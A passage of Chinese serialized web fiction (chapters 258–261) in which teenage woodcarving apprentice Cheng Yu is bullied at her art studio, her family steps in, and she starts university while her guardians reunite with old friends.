魏云舟沉稳地点了点头:“你别凶,妈妈说对女孩子要温柔一点。” 孟竞帆懒得搭理他弟,他有凶的资格吗?程逾比他大五岁,从小到大,他就没赢过。 来到程逾的门口,孟竞帆抬手敲了门:“小鱼。” 程逾听到孟竞帆的鸭嗓憋着笑:“干什么?” “你又笑我。”孟竞帆简直无语了,“你都受伤了,还有心思笑我?” 程逾清了清嗓子:“谁告诉你我受伤了,你姐好着呢。” “开门。” 要搁以前,孟竞帆的废话要多少有多少,现在只有言简意赅。 “不开,我要洗澡睡觉了。” “我撞门了啊。” “……” 第258章 时光(2) 程逾还是开门让孟竞帆进了门,孟竞帆顶着公鸭嗓问她:“你怎么了?” “都说没事了。” 怕他冲动,程逾捂住脖颈。 孟竞帆“嘁”了声,握住她的手腕,扯开看了眼。 “干嘛?”程逾拍开他的手。 这一下有点疼,孟竞帆好像已经习惯了,嘴毒道:“你嘴欠被人打了?” “你才嘴欠被人打了,明明是他们先找我麻烦的。” 孟竞帆哼了声:“不是自己挠的了?” 程逾:“……云舟跟你说的?” “小鬼知道我爱管闲事呗。”孟竞帆说,“爸妈又不在家,方姐英姐一把老骨头了,只能我为你冲锋陷阵了。” 程逾指了指他:“还敢说方姐一把老骨头,小心她不做饭给你吃了。” “别转移话题。”孟竞帆看着她,“谁闲的没事找你麻烦?” 毕竟程逾武力值挺高,跟孟棠一样,喜欢随身带着刻刀。 嘴巴也厉害,一般人是不会惹她的。 “傻逼呗。”程逾说完又觉得自己脏话带坏小孩,说,“别跟我学脏话啊,你以后要是做演员,形象很重要。” 程逾迟迟不说,孟竞帆就知道她不想跟自己说。 “行。”孟竞帆没有多作纠缠,“你自己消个毒涂个药膏,我走了。” 程逾心里挺感动的,两个小鬼真的把她当姐姐。 孟竞帆回了房间,发现魏云舟还在,诧异地问了句:“怎么还赖在这儿?” 魏云舟看着他:“小鱼姐怎么了?打架了?” “没事。”孟竞帆摆了下手,“她不愿意说,不过她明天要去画室,我会跟过去看看。” 魏云舟点了点头,回了房间。 程逾第二天照例去画室,孟竞帆直接跟上去会被发现,他慢悠悠吃完了早餐,去了程逾画室的楼下。 魏川一早起来没看到孟竞帆,下意识问方姐人去哪儿了? 方姐也一脸懵:“他不在啊?” 魏川摇了摇头。 魏川蹙眉:“他能去哪儿?” “爸爸。”魏云舟从房间出来,“哥哥送小鱼姐上学了。” 魏川:“……他一个12岁的送人家17岁的去上学?” 魏云舟点了点头。 魏川好一阵无语,直接给孟竞帆打了电话。 孩子还小,暂时没有手机,只有儿童电话手表。 接了后,吊儿郎当来了句:“干嘛啊,爸?我在外面有事呢。” 魏川无语了一会儿,他是真想骂,忍了忍,咬着牙根说: “你一个12岁的小孩能有什么事?我一大早起床没看见你,你有没有考虑过你爸年纪大了,经不起吓。” 孟竞帆嘿嘿一笑:“您老当益壮。” 魏川一口血差点没喷出来,他自谦一下,孟竞帆还顺杆子上来了。 “赶紧给我滚回来。” “不行,有人欺负小鱼,我看看是谁。” 魏川一愣:“谁欺负她了?” “应该是她画室的同学,魏云舟说她昨晚回来一瘸一拐的,脖子也受伤了,应该跟人打架了,对面人还挺多。” 魏川立刻回房拿了车钥匙:“你别轻举妄动,在那儿等我。” 孟竞帆挂了电话,抬头的瞬间看到程逾被两男两女围住了,她护着身后的周淼。 周淼经常跟着程逾回家玩,孟竞帆自然也认识。 眼看对面的男生,手要碰到程逾,孟竞帆赶紧跑了过去:“小鱼。” 一道破音的公鸭嗓闯了进来,程逾被吓了一跳,转头看到孟竞帆,脸都黑了: “你来干什么?” 程逾还没有孟竞帆高,被他往后推了一把,他自己挡在了前头。 可毕竟才12岁,对面两个高中的男生,都是180出头。 程逾生怕他受伤,自己不好给师父交代,给了周淼一个眼色,两个人把孟竞帆往后拽。 “你别管了,赶紧走。”程逾知道孟竞帆护短还冲动,即便对面是高中生,他也不带怕的。 魏川马上到,孟竞帆更不怕,转头问程逾:“他们为什么欺负你?” 周淼说:“他们想要小鱼的木雕,小鱼说了价钱,他们嫌贵,小鱼说嫌贵就不要买,他们认为小鱼是在嘲笑,想要强买强卖。” “小鱼自然不同意,和他们结下了梁子,从此阴阳怪气,还故意找茬,说小鱼是孤儿,还有更难听的话,小鱼一开始都忍了,怕给川叔惹麻烦,后来忍不下去,发生了点肢体冲突。” “昨晚我不在,小鱼被她俩堵住了。”周淼指了指对面两个女生,“那是她们的男朋友,小鱼一个人,就吃亏了。” 孟竞帆转过头,目光不可一世:“所以呢?现在你们是要怎么样?” “我们也没怎样啊?”对面的女生耸了下肩。 孟竞帆呵呵一声,将人从头到尾打量了一遍,说:“九年义务教育制下的漏网之鱼啊,放心,我会带我姐去医院做个伤情鉴定,动手的一个都跑不了。” “吓唬谁呢?”女生嗤笑,“就凭毛都没长齐,还在变声期的小孩吗?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!孟竞帆结结实实被气到了,本来他的修养是说不出什么人身攻击的话的。 少爷脾气一上来,可就管不了那么多了。 “你的粉底挺劣质的,你下巴和脖子那块像黄河分界线。” 一句话,攻击的对面脸红脖子粗。 程逾“噗嗤”一声没忍住,拽着周淼的胳膊,肩膀颤个不停。 周淼和她一起,躲在孟竞帆身后笑。 女生看了眼男朋友,男生指着孟竞帆上前:“你他妈再说一遍。” “把你的手移开。” 程逾下意识回眸,看到魏川的那一刻,觉得自己的靠山来了。 “川叔。” 魏川指了指她:“被欺负不跟家里说。” 程逾讨饶地笑了笑。 孟竞帆见他老爸过来,十分自然地退后一步,请他处理。 魏川犯不着跟小孩纠缠,指了指停在路边的车,说:你们三个,全都先上车,小鱼今天也回家。” 程逾拉了把孟竞帆:“走了,还看什么热闹。” 欺负程逾的四个小孩看到车边的劳斯莱斯,顿时不吱声了。 魏川看着他们,说:“鉴于你们还是学生,我会直接找你们父母沟通。” 说完,他一个眼神也没给,转身走了。 四个人面面相觑,半晌才开口问:“怎么办?我听别人说程逾的师父挺有钱的。” “有钱又怎么了,还能把我们吃了?” “可我们确实欺负她了。” “又没把她怎么样,咬死了学生闹矛盾不就行了。” “这也是一个办法。” “……” 魏川没回家,直接去了医院。 魏云舟说程逾走路一瘸一拐,他不放心。 孟棠起床后,从魏云舟口中得知事情大概,给魏川打了个电话。 彼时魏川已经到了医院,生怕孟棠担忧,他安抚道:“医生刚才看了一下,没什么事,我们在等检查结果,只是为了对方反咬一口做的准备。” 孟棠蹙眉,有些内疚:“让小鱼回来的,画室暂时不去了。” “行,我也是这么想的。”魏川说,“这孩子看着大大咧咧的,发生事情却不知道跟家里说,回去之后还是要好好跟她聊一聊。” “嗯。” 从医院出来后,魏川要了程逾那几个同学的个人信息。 将车开到门口,魏川回头说:“你们先进去,我出去有点事。” 周淼说:“川叔,您要是顺路,把我送回去吧,我小姨今天过来,我中午得回家吃饭。” “行。”魏川说,“小鱼,你俩先下车,你师父在家等你呢。” “好。” 程逾下了车,在第二扇院门那儿迎面撞上了孟棠。 “师父。”程逾目光略有心虚。 孟棠微微颔首:“跟我去一趟书房。” “好。” 程逾以为孟棠要教训她,没想到进了书房,孟棠却问:“小鱼,对于你来说,住在这个院子里的人都是你什么人?” “当然都是家人。”程逾不带一丝犹豫。 孟棠看着她,说:“好,那你认为家人是什么?” 程逾沉默了下去,她明白了孟棠的用意。 “家人是支持你的人。”孟棠说,“也是最爱你的人,你喊我一声师父,在我这里,你和云舟、竞帆没有任何区别,你知道吗?” 程逾点了点头:“我知道,我只是不想给你们惹麻烦。” “你不想给我们惹麻烦,却愿意让我们担心?” 程逾知道自己做错了,忙抬头说:“师父我错了。” 孟棠知道她聪明,揉了揉她的头:“坐下给我看一下你腿上的擦伤,这几天画室不要去了,等你川叔把事情解决完再去。” “好。”程逾点了点头,坐下后撩起了裤腿,“其实那天和他们拉扯的时候撞到的,倒不是他们打的。” 孟棠看了眼,确实都是外伤,一颗心才松了松。 方姐敲了门:“吃饭了。” 孟棠扶起程逾:“吃饭去吧。” “不等川叔啊?”程逾问,毕竟是为她的事去忙了。 孟棠说:“他这么大的人了,还能让自己饿着,你安心去吃。” 来到餐厅坐下,程逾看到魏云舟给他拿了碗筷,笑着说了谢谢,伸手要去捏他的脸,被他躲开了。 “高冷小孩。”程逾笑了声,没发现孟竞帆,转头问了句,“你哥呢?” 魏云舟:“姑姑来电话了,他在房间里接电话。” “又要进组啊?”程逾说,“怎么也不见他学习。” 魏云舟说:“不是进组,好像有个什么红毯活动要参加。” “那我就知道了。”程逾说,“你哥第一部电影嘛,要宣传的,这你都不知道?” 魏云舟哪会关心这些,魏思沅的电视剧他都不看。 孟竞帆打完电话后,出来和孟棠说了这事,孟棠点了点头,问他:“什么时候走?” 孟竞帆:“明早走,我先跟小姑汇合,然后飞首都。” 孟棠点了点头,叮嘱了两句。 有魏思沅和赵疏白在,她还是放心的。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第259章 时光(3) 孟竞帆一走,整座宅院安静了下来。 就算因为他变声期不爱说话,整天打游戏的声音也响彻院里。 临走前,他还特地将程逾拉到一旁:“我警告你啊,不要心软,让欺负你的那些人有多远滚多远。” “知道了。”程逾也不知道他整天操那么多心干什么,“大明星,赶紧走吧。” 孟竞帆挠了挠头,对于这个称呼不太好意思,强撑着酷表情,上了车。 直至他的车离开,程逾才返回了院中。 她刚打算去工坊,大门又被人嘭嘭拍响,英姐听到,朝她挥了挥手:“我去开。” 魏川从屋里出来,对程逾招了招手:“过来坐。” 程逾转过身,看到了孟棠。 “师父。”程逾打了招呼,等孟棠坐下后才在两人的对面落座。 英姐这时小跑了过来,对孟棠说:“门外来了几辆车,说是来道歉的,让人进来吗?还提了不少礼物。” 孟棠眼也没抬:“不见。” “好。” 一家之主都发话了,英姐立刻出门婉拒了。 程逾有点不解:“师父,为什么不见啊?” 魏川说:“没什么好见的,小鱼,我们不轻易惹事,但也绝不怕事,你身后有我和你师父,我说难听点的话,按照你的背景,跟那些人都不是一个圈层,以后不用给眼神。他们家的大人应该也知道我的态度,欺负你的几个学生,以后看见你会绕道走。” 魏川一般也不用背景压人,除非惹到他的底线。 家人就是底线,他全家低调不代表任人欺负。 程逾接受过孟棠的“教育”,点了点头:“我知道了,川叔。” 从小到大,程逾无数次庆幸自己拜了孟棠为师。 其实她的腿只是擦伤,但孟棠依然坚持让她在家休息了三天,第四天去画室的时候,所有人全都热情地打了招呼。 程逾一愣:“你们吃错药了?” 周淼示意她往里看,程逾发现少了两人,一脸疑惑地看向周淼:“她俩人呢?画架也搬走了?” 周淼说:“去别的画室了,主动走的。” 程逾指了指自己:“不会跟我有关系吧?” “不是说去你家道歉被拒绝了嘛。”周淼说,“学艺术的家里多多少少都有点小钱,但跟你家没办法比嘛,估计他们的家长也知道,只能夹着尾巴绕着你走呗。” 程逾嘿嘿一笑:“莫名有点爽是怎么回事?我的表情看起来有没有小人得志?” 周淼“啧”了声:“程逾,你成语说错了。” “无所谓。”程逾扔下书包,“我心情好,今天请你们喝奶茶啊?” 全班兴奋地应了声:“霸王别姬。” “傻缺,那是霸王茶姬。” “抱歉,口误。” 程逾呵呵一笑:“蜜雪冰城,爱喝不喝。” “喝。” “我这就下单。”程逾立刻在手机上下了几十杯奶茶。 因为强买强卖的小风波彻底落幕。 程逾的目标是z大,最大的原因是离雁清近,孟棠不限制她想考什么学校,就算去国外,她也是支持的。 一年的时间飞逝而过,程逾顺利考取z大,和孟棠成了校友。 开学当天,是魏川和孟棠亲自送她去学校的。 时隔多年,再次回到z大,很多地方都已经变了,但很多地方还是没变。 分给程逾的是一栋新宿舍,环境看着不错,z大有两天开学时间,因为离得近,程逾是第二天才过来的,以至于她到的时候,寝室里其他三个人已经互相熟悉了。 一推开寝室的门,其他三人下意识看过去,全都微张着嘴巴,一句话也说不出来。 这家长保养得也太好了。 程逾给了个笑,大大方方打了招呼。 三个女生也立刻起身打了招呼,互相介绍了自己。 寝室依旧是上床下桌的形式,魏川将程逾的行李推到唯一还空着的床下,从包里拿了湿纸巾,给她的桌子里里外外擦了一遍。 “我自己来吧。”程逾拦住他,“您跟师父先回,等我忙好了再给你们打电话。” “床不要铺吗?”魏川转头问,“我跟你师父给你铺好。” “不用。”程逾拉住魏川胳膊,将他和孟棠往外推,“我都多大人了,我自己来。” “等一下。”魏川停住不动,“我今晚定了餐厅,让你室友一起,大家熟悉一下感情,明天开始军训,互相照顾一下。” 程逾转过头,看着室友们笑了笑:“可以吗?” 三个人异口同声:“可以。” 程逾对着门摊了摊手:“好了吧,晚上见。” 魏川这才点了点头,转头跟孟棠出了程逾的寝室。 几乎是一关门,程逾的三个室友立刻围了上来,年轻人熟络得快,程逾也热情大方,她们胆子也就大了些。 “哇瑟,你爸妈吗?这么年轻?” 程逾摇摇头:“一个是我师父,一个是我川叔,他们以前也是z大的,或许你们还听过呢。” 本小章还未完,请点击下一页继续阅读后面精彩内容!谁进大学前不先了解一下自己的学校啊,z大校友出名的很多,但又出名颜值又高感情还好的一对一只手数得过来。 孟棠和魏川的大名高居榜首,z大自制的校园app的帖子里至今还有孟棠和魏川的校园油画风的婚纱照,如今看,依旧不过时。 “川叔肯定是男的,那你师父就是刚才那位高贵冷艳的女士吗?” 程逾失笑:“我师父人很好的,哪里冷艳了?她只是话不多。” “这也太不多了,我大气都没敢喘,她给我笑着点头,我都没敢动。” “我师父人真的很好,以后你们就知道了。” “可你怎么是师父送来的,你爸妈呢?”其中一个嘴快的问了句。 “从小就没了爸妈。”程逾没有丝毫隐瞒,“我八岁拜了师,师父养大的。” “不好意思啊。”女生道了声歉,“我不知道。” “没事。”程逾说,“我自己都不记得父母长什么样,我跟我爷爷奶奶长大的,后来爷奶去世后就去了师父家。” 其他人见她好相处,又问了句:“那你师父做什么的呀?” 程逾从包里掏出给室友们带的礼物,递过去:“我师父做黄杨木雕的,这是我自己雕刻的,送给你们。” “我去,好精美。” “真的好好看,真的是你雕的啊?” “谢谢,好好看。” 女生们收了礼物。 程逾清了清嗓子:“接下来,我就正式自我介绍一下,本人程逾,前程的程,逾越的逾,雁清黄杨木雕非遗传承人。师父姓孟,就是刚才那位冷艳高贵的女士,我师父的成绩我三天三夜也说不完,以后再给你们科普。” “我靠,我好像知道你师父是谁了?”程逾一旁的女生突然激动道,“叫孟棠吧?雕塑系出身的大前辈,我在我们学校的官网页面上好像看见过她。” “你这么一说我也有印象了。”另一个女生搭腔,“卧槽,刚才那个是她老公的话,也就是cba退役的魏川吗?我好像刷到过他们的视频。” 程逾点了点头:“你还真知道,我师父确实叫孟棠。” “卧槽!碰到大神了。” “来来来,我们帮你一起铺床。” “好,谢谢。” 铺好床,几个人在寝室聊了许久,大家的情况基本差不多了解了。 程逾选的工艺美术专业,一个寝室的都是一个专业的,不过不在一个班,但课程都是一样的。 明天开始军训,女生们开始分享防晒霜。 程逾分享出来的,人家都不敢用,太贵了,四个人一次就能用掉一管。 哪知道程逾塞了半包,一人分了两支,说:“这些都是我小姑送来的,多得很,尽管用。” “我去,我今天一整天都在被你震惊,你小姑干什么的啊?做生意的吗?” 程逾神秘一笑,指了指防晒霜上的代言人:“看见没有,我小姑。” “啊?”室友们愣了下,“这不是程允吗?” 程逾哼笑:“那不是艺名嘛,她姓魏啊。” “……卧槽,我以后是不是可以听娱乐圈八卦了,程逾,我喜欢一个团里的主唱,你帮我问问能不能粉,我还打算军训结束去追线下呢。” “叫我小鱼吧,鱼儿的鱼。”程逾说,“我家里人都这么叫我,给我小姑问问倒是可以,但你可得做好塌房的准备,我跟你说,这个世界上,男人的基本盘就那样,明星爱豆都是人,我川叔那样的男人可没有哦。” “我去,听你这么一说,我好纠结。” “别纠结了,赶紧换身衣服,带你们出去吃饭。”程逾拨了下短发,“大餐哦。” “这就换。” “等我一下,撸个十分钟的妆。” “我刚换过,就这样去吧。” 魏川订的餐厅不在z大的附近,消费群体不是学生。 程逾说话直,可能会在不经意间得罪人,他请人吃饭,也是想她的室友多多包涵。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第260章 时光(4) 晚间,临江餐厅。 程逾带着室友在服务员的带领下进了楼上一个包间。 门打开,孟棠和魏川站起来打了招呼,程逾的室友有些拘谨。 孟棠笑了声:“先坐下吧,让小鱼带着你们看看菜单,喜欢吃什么都可以点,不要客气。” 程逾的室友们道了谢。 孟棠不会在饭桌上客气这一套,转头看了眼魏川。 魏川笑得亲和:“你们都互相熟悉了?” 程逾点了点头:“基本熟悉,咱们宿舍没有i人。” 魏川点了点头。 程逾和朋友们商量点好了菜,魏川是很健谈开朗的一个人,有他在,包间里没有冷场过一秒。 一顿饭,一个寝室之间的情意迅速蹿升。 魏川打算送她们回寝室,被程逾拒绝了:“您带着我师父在江边逛逛,我们打车,再说了,这么多人也坐不下。” “行。”魏川说,“到了学校给我打个电话。” “好。” 程逾挥了挥手,带着室友们打了车。 刚上车,程逾左边的室友感叹了句:“真的有结婚那么多年,感情还那么好的夫妻吗?” “几乎没有。”程逾说。 “你家就有一对,你还说几乎没有。” “是几乎没有啊。”程逾说,“我实事求是,小时候我还在东麓时,左邻右舍的夫妻哪天不吵架啊,像我川叔和师父这样的神仙眷侣,看看得了。” “我看了都找不到男朋友的程度,你川叔有儿子吗?” 程逾忍着笑:“有两个呢,要给你们介绍吗?” “可以吗?”三人全都凑了上来。 程逾点了点头:“可以,你要13岁的,还是10岁的?” “……” 小小恶作剧成功,程逾笑得前仰后合。 时间还早,魏川牵着孟棠沿着栏杆在江边漫步。 江边有不少人,魏川牵住孟棠的手,和她慢悠悠地逛着。 “咱俩以前谈恋爱的时候,也来过这里吧?”魏川晃了晃孟棠的手。 孟棠的余光瞥向一旁的缓梯,说:“来过几次,你会幼稚地把我往楼梯下挤。” 魏川轻笑:“然后呢?” “然后把我挤到栏杆边。”孟棠白了他一眼。 “再然后呢?”魏川得寸进尺。 再然后双手撑在栏杆旁,拦着不让她走,不管不顾就着江景亲下来。 年轻的时候还能配合一二,如今年纪大了,孟棠说什么都不肯配合。 魏川也只是逗逗她,没有真要亲的意思。 这几天z市降温,晚上还是有点凉的,魏川揽住孟棠的肩膀,说:“冷不冷?要不回车上?” 孟棠摇了摇头:“不冷,再走走吧,好久没这样了。” 在雁清感受的是人间烟火,在这里是城市的摩天高楼,风景不一样,心情也不一样。 魏川还想劝两句,手机响了起来。 见是许鹤清,他接了起来,许鹤清说:“回来怎么也没跟我说一声?” 魏川挑了下眉:“你怎么知道我回来了?” “z大今天开学,你不送小鱼吗?”许鹤清说,“我还猜到你今晚肯定带着小鱼的室友吃了饭。” 魏川:“真神了,还真被你猜对了,打我电话干什么?要聚一聚?” “泠音好久没见孟棠了。”许鹤清说,“想借着机会见见,魏总给不给面子啊?” “许总都说了,我必然不会缺席,在哪儿?” “直接来我家吧,李卓两口子也在。” “他俩也在?”魏川惊讶道,“什么时候过来的?” 许鹤清:“人家两口子旅游路过,故地重游,顺道给我打了电话,问我在不在z市。” 魏川:“行,那就明天见。” 挂断电话后,孟棠问:“是泠音让我们去聚一下?” “嗯,李卓和文心予也在。”魏川说,“让我们去他家里,估计二宝还小,带出来也不方便。” 孟棠:“那现在回吧,回去给准备一下上门礼物。” “带两瓶好酒,准备两份儿童玩具就行了。” 回到魏家,楚茵和魏立峰还没睡,两人在客厅聊天。 孟棠坐过去:“你们看什么呢?” 魏立峰指了指电视:“竞帆拍的电影。” 孟棠:“……天天看,不腻啊?” “腻什么?”楚茵说,“整天都见不到人,看看电视还不许了?” “妈,别夸张。”魏川无奈道,“他没有拍戏和活动的时候,不都在家,这两年已经以学业为主了。” 除非必要的活动才会出席,其余都以还要上学为借口推脱了。 “云舟睡了?”孟棠看了眼楼上。 “睡了。”楚茵说,“今天在学校活动还挺多,回来看着很累,洗过澡没一会儿就睡了。” 孟棠点了点头:“妈,那你和爸也早点睡,我跟魏川明天要去泠音家做客,我们去酒窖选两支酒。” “好,挑好的拿。” 孟棠被楚茵逗笑,家里的酒窖也没什么不好的酒。 孟棠不懂酒,让魏川去选了,她去了玩具房,挑选了两样新玩具。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!一个寝室到了三人,许鹤清晚上开始不安分了,在群里故意透露了消息。 魏川洗完澡,拿出手机看了眼,直接笑出了声。 孟棠挨过去:“笑什么?” “许鹤清不做人。”魏川将手机给她看,“说了我们仨明天见面的事,梁衡在群里跳脚呢。” 孟棠轻笑:“都多大人了,性格还是一点都没变。” 魏川:“谁说不是呢,比他儿子还有幼稚。” 孟棠沉默半刻,突然浅浅叹了声气。 “怎么了?”魏川搂住她,“叹什么气?” 孟棠调转了身体角度,靠到魏川的怀里,说:“感叹一下时间,梁衡嘲笑自己母胎单身的事仿佛就在昨天,他已经结婚了,孩子都有了。” 魏川在她额头落下一吻:“大家不都有孩子了嘛,咱家小鱼都上大学了。” “诶?说到小鱼,我突然想起来一件事,一直都忘了跟你说。” “什么事?” 孟棠坐起身,看着魏川的眼睛:“小鱼也18了,好像从来没有听她提过对哪个男生有好感的。” “这也没什么吧。”魏川说,“她一心沉浸在学艺中,家庭和睦友爱,整天除了学习还是学习,难道你要让她早恋?” 孟棠摇了摇头:“我对她喜欢的异性类型很好奇,因为小鱼像是不开窍的小孩,不过进了大学就不一样了,很多优秀的男生,小鱼又漂亮,说不定有追求者。” 魏川笑了声。 孟棠扭过脸:“你笑什么?” “你徒弟在进大学之前干了什么事?”魏川问。 孟棠仔细想了想,说:“没做什么事啊?为什么突然这么问?” “她把她本就不长的头发剪成狗啃式的,还被你说了两句,你忘了?” 孟棠想起这个就心梗,这孩子不知道突然发什么疯,突然把头发剪了。 “她是不是说军训很热,索性给剪了,也方便些?” 孟棠点了点头:“是这么说的。” “你听她瞎扯。”魏川说,“小鱼在咱家长这么大,性格什么样,你也清楚,她难道不知道自己长得好看吗?她可太知道了,故意的。” “理由呢?”孟棠觉得有些荒诞。 魏川说:“她对家里人之外的人都有很重的防备心,表面上看着大大咧咧,没心没肺,实则精着呢。” “同龄小姑娘看偶像剧尖叫的时候,她在一旁无语的样子像是看清了天下男人的本质,思想太成熟了,也太清醒,她清楚地知道只有努力才能抓住现在的一切。” “她心里始终都把黄杨木雕和你放在第一位,不敢做任何辜负你期望的事。” “她愿意把学艺这件事做到极致,这种思想在她小时候就砸在她的灵魂里,轻易不会改的。” “简单点来说,她觉得其他的事情很无聊,会打断她的节奏,扰乱她的思想。” 孟棠沉默了片刻,问:“我平时有给她很大的压力吗?” 魏川摇了摇头:“跟你没什么关系,我们遇到她的时候,她已经八岁了,经历了很多苦难才长大的,她对于家人很看重,但对于虚无缥缈的抓不到的爱情并不看重,她只想抓住自己现在拥有的,以及想要的实质性的东西。” “这孩子……”孟棠心里有些自责,“我平时是不是不够关心她?” “不是。”魏川揉捏着孟棠的耳垂,有一下没一下,“你们是师徒,有一份教导的严厉在,她对你敬仰尊敬,你对她倾囊相授就够了。” “你对她的好,她都知道的。” 孟棠小声嘟囔:“我怎么感觉我还没有你了解她。” 魏川哼笑:“那是因为咱家的事都是我办的,在雁清的时候,孩子们大小事都找我。” “说得我好像没有参与这个家庭的建设一样。”孟棠也学着他哼了声。 “哪有。”魏川搂住她,“老婆大人是咱家的定海神针,没了你,我们几个也转不起来啊。” 孟棠成功被哄高兴了:“睡觉。” “好,睡觉。”魏川习惯性拿出手机看了眼时间,看到微信的消息,下意识点开,“卧槽。” 孟棠仰头:“又怎么了?” “梁衡买了明天来z市的机票。” 孟棠:“……他可真够折腾的,要下午才能到吧?” 魏川点了点头:“我有预感,咱们得在许鹤清家连着吃两顿。” 孟棠闭上眼睛嘟囔:“我同意。” 翌日上午十点左右,魏川和孟棠带着礼物敲响了许鹤清家的门。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第261章 时光(5) 开门的是李卓,看到魏川刚要抱上去,被他用红酒挡住:“把东西拿下去。” 李卓嘿嘿笑了声:“你说你,来就来呗,还带什么礼物?” 魏川不客气道:“那待会儿你别喝。” “……我抗议。”李卓偏头和孟棠打了招呼,“泠音她们在里面,二宝醒了,进去吧。” “好。”孟棠拿着礼物进了屋,谢泠音迎了上来。 “怎么又带一堆东西。”谢泠音笑了声,“怎么不把你家搬过来?” “别夸张行吗?”孟棠将玩具给她,“两瓶酒,两份玩具。” 谢泠音接过,问:“小鱼开学了,怎么样啊?适不适应?” “她有什么不适应的?”许鹤清哭笑不得,“小鱼的性格你不知道?谁敢惹啊?” 孟棠说:“挺好的啊,室友也挺不错的,今天军训,她应该可以适应,小鱼身体素质一向很好。” 不像她,小时候还会偷懒。 程逾对于身体素质这方面比较看重,可能跟孟遇春总是吐槽孟棠,给小时候的她洗脑也有关系。 一天下来,不管程逾做了多少事,都会留足够的运动时间。 她跟男生掰手腕,都能打个平手,甚至能赢。 “这两天还好,不热。”文心予说,“阴天阵阵,防晒霜都不用涂。” 孟棠失笑:“我给她带了不少的防晒霜,还是她小姑代言的,她还不乐意,我说皮肤晒伤了她才说会擦。” “晒黑了是很难白回来。”谢泠音说,“孟棠,过来坐,我家二宝刚醒,这会儿可以玩一玩。” 谢泠音家的二宝是个女孩,乳名叫甜甜。 孟棠去到客厅,将甜甜抱起来坐在沙发上,随手拿了一旁的拨浪鼓转了下。 甜甜两只小胖手欢快地挥舞,口水流了一围兜。 “真可爱。”孟棠戳了下二宝的脸,“好软。” 魏川在对面坐下,许鹤清时不时去厨房,和上门做菜的厨师沟通几句。 魏川朝孟棠伸手:“给我抱一下。” “眼馋别人闺女啊。”李卓笑话他,“眼馋你和孟棠再生一个,又不是养不起。” “你怎么不生?”魏川白他一眼,“你到现在一个孩子都没有。” “我俩把自由看得比命还重。”李卓说,“你看我现在,整天跟她满世界的拍照,满世界的跑,别说,挺有意思的。” 谢泠音说:“所以说,我最羡慕的就是你们两口子。” 文心予:“感觉停下来都不太习惯,我跟他在一个地方待不住。” 李卓顺势说了他和文心予去过的地方,见识到的风土人情,孟棠听着听着入了神。 魏川将宝宝给过来的许鹤清,谢泠音见宝宝又打了哈欠,起身示意许鹤清将孩子抱去卧室睡。 魏川顺势占据了谢泠音原本的位置,在孟棠身边坐下,半搂着人。 “要不后半年,咱们也出去转转?” 孟棠有些诧异:“怎么突然说这个?” 魏川:“我看你很羡慕的样子。” “有点羡慕。”孟棠说,“但每个人选择的生活方式都不同,我雕木头如同看世界。” 事实上,她和魏川没少带着孩子们出去玩。 契机就是程逾第一次跟着他们去z市,看什么东西都稀奇得很。 孟棠当时就决定有时间一定会多带她出门看看,后来过年的时候,他们全家去了香港。 程逾比第一次去z市还要兴奋,那会儿孟竞帆还小,根本也记不得什么。 这么些年过去,程逾去过的地方已经数不清,而孩子们去过的地方,孟棠和魏川同样去过。 “我不是想着每次出门都带着孩子们,咱俩单独出去的很少。”魏川看着她,“要不这次出门转转?” 孟棠思考了半晌,点了点头:“月份不错,去螺洲岛吧,距离上次去,已经过去了五年,不知道有没有什么变化。” “行。”魏川一口答应。 螺洲岛对于他和孟棠来说是特殊的地方。 “吃饭了。”许鹤清喊,“都来餐厅,边吃边聊。” 魏川牵着孟棠起身,问许鹤清:“酒醒好了?” 许鹤清说:“好了,中午咱们几个喝一瓶就好,等梁衡来,晚上再不醉不归。” “行。”李卓应了声,“我看你家里有麻将机,吃完饭咱们几个杀两局。” “好啊。”孟棠突然应了声。 文心予笑道:“你还会打麻将了?” “她还有瘾呢。”谢泠音说,“每年回z市过年,我们都会打几圈,孟棠是怀二宝那年学上的,觉得有意思,每年都得打几牌玩玩。” “那可得好好玩玩。”文心予说。 朋友相聚难得,饭桌上,话不自觉就变多,大多都是回忆往昔。 吃完饭已经下午两点,麻将桌需要四个人,许鹤清和魏川没上,让给了李卓两口子。 许鹤清家的二宝时不时会醒,他要看着点。 今天因为朋友上门,许鹤清让照顾孩子的阿姨休息了。 魏川坐在孟棠身后,看她笨拙地打麻将。 这章没有结束,请点击下一页继续阅读!全场就她出牌慢,但也没人催,就是会时不时逗两句。 太久没玩,孟棠有些忘了规则,好在一圈下来,她又摸熟了。 魏川在后面一言不发,看着孟棠输输赢赢。 打了两个多小时,魏川贴在孟棠耳边问:“饿不饿?给你切点水果?” “可以。” 孟棠还没回答,李卓抢先了:“谢谢川哥。” 魏川转头对许鹤清说:“老许,怎么待客呢,赶紧切点水果。” 许鹤清:“……” 谢泠音手肘抵了下他:“去啊。” 许鹤清认命地起身。 给各位尊贵的客人上了五六种水果后,他家二宝又醒了。 魏川看许鹤清忙得团团转,直乐呵。 手机就在这时响了起来,魏川拿起来一看,说:“梁衡来了。” 许鹤清说:“他没来过我家,你下去接一下。” “行。”魏川应了声,起身接了电话,“你到了没?” “我已经找到小区了,但门卫不让进,要让老许说一声。” “老徐让我下来接你,等着。” 十分钟后,魏川见到了梁衡。 梁衡兴奋地跑过去,和兄弟狠狠抱了下。 “我去,我怎么感觉你胖了。”魏川嘴巴依旧犀利。 “天天在办公室,都没时间锻炼。”梁衡说,“但看着还行吧,小胖。” “就你一个人来的?你老婆呢?” 梁衡苦笑一声:“闹离婚呢。” 魏川猛地顿住脚步:“为什么?” 梁衡挠了挠头:“都不是什么原则性的问题,就是没感情了呗,当初我们结婚也是家长撮合的,她要孩子,孩子也离不开她,她想要就给她吧,我是觉得烦,才大老远过来找你们喝喝酒。” “行,上楼喝。”魏川没有扒人隐私的爱好。 家家都有难念的经。 上楼后,梁衡爱说就说,不说就算。 魏川拍了拍他的肩膀:“如果有需要,直接开口。” 梁衡点了点头。 上楼后,麻将局已经结束了。 寝室四个人好久没见,谢泠音给了许鹤清一个眼神,说:“家里有游戏室,你们四个去玩吧,我和孟棠她们说说话。” 谢泠音这么一说,哪个男人不心动,你推我搡进了游戏室。 文心予看得想笑:“怎么?我们平时很压榨他们吗?一个个什么德行。” “可能只有你在压迫。”谢泠音笑了声,“听听这语气。” 